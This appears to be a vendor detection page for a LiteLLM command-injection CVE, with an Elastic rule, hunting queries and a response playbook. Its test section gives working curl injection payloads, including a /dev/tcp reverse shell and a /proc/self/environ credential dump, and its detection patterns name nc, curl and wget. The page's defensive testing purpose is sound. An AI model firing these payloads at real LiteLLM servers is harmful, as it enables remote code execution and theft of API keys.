Which SIEM platforms have a CVE-2026-42271 detection rule?

df00tech provides CVE-2026-42271 (BerriAI LiteLLM Command Injection (CVE-2026-42271)) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect BerriAI LiteLLM Command Injection (CVE-2026-42271) (CVE-2026-42271)?

Detecting BerriAI LiteLLM Command Injection (CVE-2026-42271) requires the following data sources: Microsoft Defender for Endpoint, Microsoft Sentinel DeviceProcessEvents, Microsoft Sentinel DeviceNetworkEvents.

What severity and confidence is the CVE-2026-42271 detection?

The CVE-2026-42271 detection is rated critical severity with medium confidence.

What are common false positives for CVE-2026-42271?

Common false positives for CVE-2026-42271 include: Legitimate LiteLLM administrative scripts that pass shell-like arguments for model configuration; CI/CD pipelines running automated LiteLLM integration tests with parameterized commands; Security testing or red team exercises against LiteLLM instances.

CVE-2026-42271 Elastic Security · Elastic

Detect BerriAI LiteLLM Command Injection (CVE-2026-42271) in Elastic Security

Detects exploitation of CVE-2026-42271, a command injection vulnerability in BerriAI LiteLLM. An attacker who can reach the LiteLLM API or admin interface may inject OS commands that execute under the LiteLLM process context, leading to remote code execution. The vulnerability is tracked under CWE-78 (OS Command Injection) and CWE-77 (Command Injection) and is listed as actively exploited in CISA KEV.

MITRE ATT&CK

Tactic: Execution Persistence Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)

eql

sequence by host.name with maxspan=30s
  [network where network.direction == "inbound"
   and destination.port in (4000, 8000, 8080)
   and network.transport == "tcp"]
  [process where event.type == "start"
   and process.parent.name in ("python", "python3", "uvicorn", "gunicorn")
   and process.name in ("sh", "bash", "dash", "zsh", "cmd.exe", "powershell.exe", "python", "python3", "wget", "curl", "nc", "ncat")
   and (
     process.command_line like~ "*;*"
     or process.command_line like~ "*&&*"
     or process.command_line like~ "*||*"
     or process.command_line like~ "*`*"
     or process.command_line like~ "*$(*"
     or process.command_line like~ "*|*"
   )
  ]

critical severity high confidence

EQL sequence detecting an inbound network connection to common LiteLLM ports followed within 30 seconds by a suspicious child process spawned from a Python/uvicorn parent, characteristic of CVE-2026-42271 exploitation.

Data Sources

Elastic Endpoint SecurityElastic Agent

Required Tables

logs-endpoint.events.network-*logs-endpoint.events.process-*

False Positives & Tuning

Legitimate administrative shell commands executed by operators via the LiteLLM management interface
Automated health check scripts that spawn short-lived processes from the LiteLLM host
Development environments where LiteLLM is tested with shell-based tooling

Other platforms for CVE-2026-42271

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1LiteLLM API Command Injection via Model Parameter
Expected signal: Process creation event showing sh or bash child process under the uvicorn/gunicorn parent with command line containing the injected id command
Test 2LiteLLM Out-of-Band Command Injection with Reverse Shell Attempt
Expected signal: Network connection event showing outbound TCP to 127.0.0.1:9999 from the LiteLLM process, plus a bash process with -i flag spawned from the Python parent
Test 3LiteLLM Config Endpoint Command Injection via Backtick Substitution
Expected signal: Process creation event with backtick command substitution syntax in command line, spawned from the LiteLLM Python process
Test 4Post-Exploitation Credential Harvesting via LiteLLM Injection
Expected signal: Process creation event showing cat and tr commands spawned from LiteLLM parent, with file write event to /tmp/cve42271_env.txt

Last updated: 2026-06-19 Research depth: standard

References (3)

Response Playbook

Triage

Identify the LiteLLM instance version by checking process arguments or the /health or /version API endpoint; confirm whether it is below v1.83.7-stable (the patched release).
Review web/proxy access logs for the LiteLLM service port (default 4000) for requests containing URL-encoded or raw shell metacharacters (;, |, &&, $(), %0a) in path, query string, or POST body parameters.
Correlate the suspicious request's source IP with threat intelligence feeds and check whether it is an internal service account, known partner, or external unknown host.
Inspect OS-level process tree on the LiteLLM host at the time of the alert to identify any unexpected child processes spawned by the uvicorn/gunicorn/python parent.

Containment

Immediately isolate the affected LiteLLM host or container from the network if active exploitation is confirmed, preventing lateral movement or data exfiltration.
Rotate all secrets accessible to the LiteLLM process (API keys, database credentials, Vault tokens) as the injected command may have exfiltrated them.
Block the attacker's source IP at the perimeter firewall and WAF, and revoke any authentication tokens issued to that client.

Evidence Collection

Capture a full memory dump or container snapshot of the LiteLLM process before termination to preserve in-memory indicators, injected payloads, and any established reverse shells.
Collect and preserve web server access logs, application logs, and OS audit logs (auditd/syslog/Windows Event Log) covering the 24-hour window before and after the first suspicious request.
Export the process creation events (with full command lines) from the EDR platform for the affected host for the exploitation timeframe.

Escalation Criteria

!Escalate immediately if any child process initiated an outbound network connection, indicating a reverse shell or data exfiltration attempt.
!Escalate if the LiteLLM process had access to cloud provider metadata services (e.g., AWS IMDS, GCP metadata) or Vault credentials, as these may have been compromised and require cloud-wide credential rotation.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

>Web access logs for the LiteLLM proxy port (default 4000) containing shell metacharacters in request parameters
>OS process creation logs showing unexpected child processes (bash, sh, curl, wget, nc) under the uvicorn/gunicorn/python parent PID
>Auditd EXECVE records or Windows Security Event ID 4688 entries capturing full command lines of injected commands
>Network flow records showing outbound connections from the LiteLLM host to attacker-controlled IPs after the injection event

Tuning Guidance

Reduce false positives by baselining the set of legitimate child processes that LiteLLM typically spawns in your environment (e.g., specific model backend subprocesses) and excluding those by exact process name and command line hash. Additionally, scope the detection to hosts or containers tagged with a 'litellm' or 'ai-proxy' asset label rather than monitoring all Python processes organization-wide. If LiteLLM runs in a container, consider restricting detection to the container's network namespace and excluding developer workstations entirely.

Hunting Queries

Hunt for any process lineage where a Python/uvicorn/gunicorn parent spawns interpreter or network utility children over the past 7 days, to identify stealthy or delayed exploitation of CVE-2026-42271.

Hunting — KQL

kql

DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("python", "python3", "uvicorn", "gunicorn")
| where FileName in~ ("sh", "bash", "curl", "wget", "nc", "ncat", "python", "python3", "perl", "ruby")
| summarize count(), make_set(ProcessCommandLine), make_set(RemoteIP) by DeviceName, InitiatingProcessFileName, FileName, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated desc

Hunting — SPL

spl

index=* sourcetype IN ("WinEventLog:Security", "linux_secure", "osquery:results")
  (parent_process_name="python" OR parent_process_name="python3" OR parent_process_name="uvicorn" OR parent_process_name="gunicorn")
  (process_name="sh" OR process_name="bash" OR process_name="curl" OR process_name="wget" OR process_name="nc" OR process_name="python")
| stats count min(_time) as first_seen max(_time) as last_seen values(command) as commands by host, parent_process_name, process_name
| sort -count

Atomic Red Team Tests

Test 1 LiteLLM API Command Injection via Model Parameter

linux

Simulates an attacker sending a crafted POST request to the LiteLLM /chat/completions endpoint with a command injection payload embedded in the model parameter, exploiting CVE-2026-42271.

Command

bash

curl -s -X POST http://127.0.0.1:4000/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-3.5-turbo; id > /tmp/cve_2026_42271_poc.txt", "messages": [{"role": "user", "content": "hello"}]}'

Cleanup

bash

rm -f /tmp/cve_2026_42271_poc.txt

Expected Telemetry

Process creation event showing sh or bash child process under the uvicorn/gunicorn parent with command line containing the injected id command

Expected Detection

Alert on ProcessRollup2/DeviceProcessEvents showing bash/sh spawned from python/uvicorn parent with semicolon metacharacter in command line

Test 2 LiteLLM Out-of-Band Command Injection with Reverse Shell Attempt

linux

Simulates a more sophisticated exploitation attempt that uses URL-encoded newline injection (%0a) to chain a reverse shell command, testing detection of encoded metacharacters.

Command

bash

curl -s -X POST http://127.0.0.1:4000/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-4%0abash -i >& /dev/tcp/127.0.0.1/9999 0>&1", "messages": [{"role": "user", "content": "test"}]}'

Cleanup

bash

pkill -f 'bash -i' 2>/dev/null; true

Expected Telemetry

Network connection event showing outbound TCP to 127.0.0.1:9999 from the LiteLLM process, plus a bash process with -i flag spawned from the Python parent

Expected Detection

Alert on network connection to unexpected destination combined with interactive bash process spawned from LiteLLM parent process

Test 3 LiteLLM Config Endpoint Command Injection via Backtick Substitution

linux

Tests command injection via the LiteLLM admin config or router endpoint using backtick command substitution syntax, which may bypass naive input filters.

Command

bash

curl -s -X POST http://127.0.0.1:4000/config/update -H 'Content-Type: application/json' -H 'Authorization: Bearer sk-admin' -d '{"model_list": [{"model_name": "`whoami > /tmp/cve42271_backtick.txt`", "litellm_params": {"model": "gpt-3.5-turbo"}}]}'

Cleanup

bash

rm -f /tmp/cve42271_backtick.txt

Expected Telemetry

Process creation event with backtick command substitution syntax in command line, spawned from the LiteLLM Python process

Expected Detection

Alert on child process from Python/uvicorn parent containing backtick metacharacter in ProcessCommandLine field

Test 4 Post-Exploitation Credential Harvesting via LiteLLM Injection

linux

Simulates post-exploitation activity after initial command injection, where the attacker extracts environment variables (which may contain API keys) from the LiteLLM process environment.

Command

bash

curl -s -X POST http://127.0.0.1:4000/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-3.5-turbo; cat /proc/self/environ | tr \\0 \\n > /tmp/cve42271_env.txt", "messages": [{"role": "user", "content": "hello"}]}'

Cleanup

bash

rm -f /tmp/cve42271_env.txt

Expected Telemetry

Process creation event showing cat and tr commands spawned from LiteLLM parent, with file write event to /tmp/cve42271_env.txt

Expected Detection

Alert on suspicious child process chain (cat /proc/self/environ) spawned from LiteLLM parent, combined with file creation event in /tmp

Related Detections

Tactic Hubs

TA0002Execution TA0003Persistence TA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing Application T1059Command and Scripting Interpreter T1021Remote Services

Detect BerriAI LiteLLM Command Injection (CVE-2026-42271) in Elastic Security

MITRE ATT&CK

Elastic Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2026-42271

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Execution

Popular Detections

MITRE ATT&CK

Elastic Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2026-42271

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Execution

Popular Detections

Get new detections in your inbox